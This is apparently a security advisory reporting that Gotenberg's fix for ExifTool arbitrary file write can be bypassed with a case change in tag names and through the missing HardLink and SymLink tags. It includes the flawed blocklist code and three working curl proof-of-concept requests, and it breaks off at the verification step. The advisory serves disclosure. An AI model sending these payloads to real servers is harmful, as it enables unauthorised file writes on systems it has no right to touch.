Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:

dangerousTags := []string{
    "FileName",  // Writing this triggers a file rename in ExifTool
    "Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
    delete(metadata, tag)
}

Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.

The blocklist also omits two dangerous ExifTool pseudo-tags:

• HardLink: creates a hard link to the file at the specified path
• SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F [email protected] \
  -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container: